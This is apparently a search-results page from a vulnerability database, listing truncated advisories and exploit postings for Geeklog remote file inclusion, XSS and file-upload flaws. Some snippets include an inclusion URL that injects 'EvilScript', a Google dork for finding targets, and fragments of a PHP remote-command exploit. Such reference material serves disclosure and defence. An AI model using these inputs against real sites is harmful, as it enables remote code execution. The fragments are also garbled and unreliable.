362 matches found
Geeklog 2 (BaseView.php) Remote File Inclusion Vulnerability
No description provided by source. GeekLog = 2...
Geeklog 2 (BaseView.php) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ============================================================ Geeklog 2 BaseView.php Remote File Inclusion Vulnerability ============================================================ GeekLog = 2.x BaseView.php Remote File Include...
Geeklog 2 - BaseView.php Remote File Inclusion
Geeklog 2 - BaseView.php Remote File Inclusion GeekLog = 2.× BaseView.php Remote File Include Vulnerabilities Discovered by GolDMMahmnoodali & & Contact: [email protected] URL: http://www.geeklog.net/nightly/geeklog2-cvs-nightly.tar.gz V.CODE: In : path/system/libraries/Geeklog/MVCnPHP/BaseView.php...
Geeklog 2 - 'BaseView.php' Remote File Inclusion
GeekLog = 2.× BaseView.php Remote File Include Vulnerabilities Discovered by GolDMMahmnoodali & & Contact: [email protected] URL: http://www.geeklog.net/nightly/geeklog2-cvs-nightly.tar.gz V.CODE: In : path/system/libraries/Geeklog/MVCnPHP/BaseView.php require $glConf'pathlibraries'...
MVCnPHP <= 3.0 glConf[path_libraries] Remote Include Vulnerabilities
No description provided by source. MVCnPHP Remote File Inclusion ToXiC CrEw Bug Found by Drago84 Page Sources: http://freshmeat.net/redir/mvcnphp/46123/urltgz/GeeklogMVCnPHP-3.0.0.tgz Page Affect: BaseCommand.php BaseLoader.php BaseView.php ExP:...
CVE-2006-6225
Multiple PHP remote file inclusion vulnerabilities in GeekLog 1.4 allow remote attackers to execute arbitrary code via a URL in the CONFpath parameter to 1 links/functions.inc, 2 polls/functions.inc, 3 spamx/BlackList.Examine.class.php, 4 spamx/DeleteComment.Action.class.php, 5...
CVE-2006-6225
Multiple PHP remote file inclusion vulnerabilities in GeekLog 1.4 allow remote attackers to execute arbitrary code via a URL in the CONFpath parameter to 1 links/functions.inc, 2 polls/functions.inc, 3 spamx/BlackList.Examine.class.php, 4 spamx/DeleteComment.Action.class.php, 5...
EUVD-2006-6208
Multiple PHP remote file inclusion vulnerabilities in GeekLog 1.4 allow remote attackers to execute arbitrary code via a URL in the CONFpath parameter to 1 links/functions.inc, 2 polls/functions.inc, 3 spamx/BlackList.Examine.class.php, 4 spamx/DeleteComment.Action.class.php, 5...
CVE-2006-6225
GeekLog 1.4 is affected by multiple PHP remote file inclusion vulnerabilities due to unsafe handling of the _CONF[path] parameter in a range of plugins and admin pages (e.g., links/functions.inc, polls/functions.inc, spamx/*, staticpages/functions.inc). An attacker can supply a URL to cause the a...
CVE-2006-3756
Cross-site scripting XSS vulnerability in Geeklog 1.4.0sr4 and earlier, and 1.3.11sr6 and earlier, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors when validating comments in 1 lib-comment.php 1.4.0sr4 or 2 comment.php 0.3.11sr6...
CVE-2006-3756
Cross-site scripting XSS vulnerability in Geeklog 1.4.0sr4 and earlier, and 1.3.11sr6 and earlier, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors when validating comments in 1 lib-comment.php 1.4.0sr4 or 2 comment.php 0.3.11sr6...
CVE-2006-3756
Geekklog (Geeklog) is affected by a cross-site scripting (XSS) vulnerability described in CVE-2006-3756 for Geeklog 1.4.0sr4 and earlier, and 1.3.11sr6 and earlier. The issue allows remote attackers to inject arbitrary web script or HTML via unspecified vectors when validating comments in lib-com...
JVN#81108784 Geeklog cross-site scripting vulnerability
Impact An arbitrary script may be executed on the user's web browser. If session information from a cookie is leaked, an attacker could possibly conduct session hijacking. Solution Products Affected Geeklog 1.4.0sr4 and earlier Geeklog 1.3.11sr6 and earlier...
Update Protection against Geeklog Remote Code Execution Vulnerability
Geeklog is a PHP/MySQL based application for managing dynamic web content. Geeklog CMS fails to validate multiple file extensions, potentially allowing a remote attacker to upload malicious script code, which will be executed in the context of the webserver process...
Geeklog FCKeditor < 1.4.0sr4 Arbitrary File Upload
Binary data 3677.prm...
GeekLog 1.4.0sr3 - _CONF[path] Remote File Inclusion
GeekLog 1.4.0sr3 - CONFpath Remote File Inclusion --------------------------------------------------------------------------- GeekLog www.site.com/path/publichtml/index.php http://www.site.com/path/plugins/links/functions.inc?CONFpath=EvilScript...
GeekLog <= 1.4.0sr3 (_CONF[path]) Remote File Include Vulnerabilities
No description provided by source. --------------------------------------------------------------------------- GeekLog = 1.4.0 CONFpath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Google d0rk: "powered by geeklog" Discovered By...
GeekLog <= 1.4.0sr3 f(u)ckeditor Remote Code Execution Exploit
Exploit for unknown platform in category web applications ============================================================== GeekLog 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else...
GeekLog 1.4.0sr3 - f(u)ckeditor Remote Code Execution
GeekLog 1.4.0sr3 - fuckeditor Remote Code Execution !/usr/bin/php -q -d shortopentag=on 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n";...
GeekLog <= 1.4.0sr3 f(u)ckeditor Remote Code Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "Geeklog = 1.4.0sr3 'fuckeditor' remote commands execution\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; //works regardless of any php.ini settings, //fckeditor very old 'mcpuk'...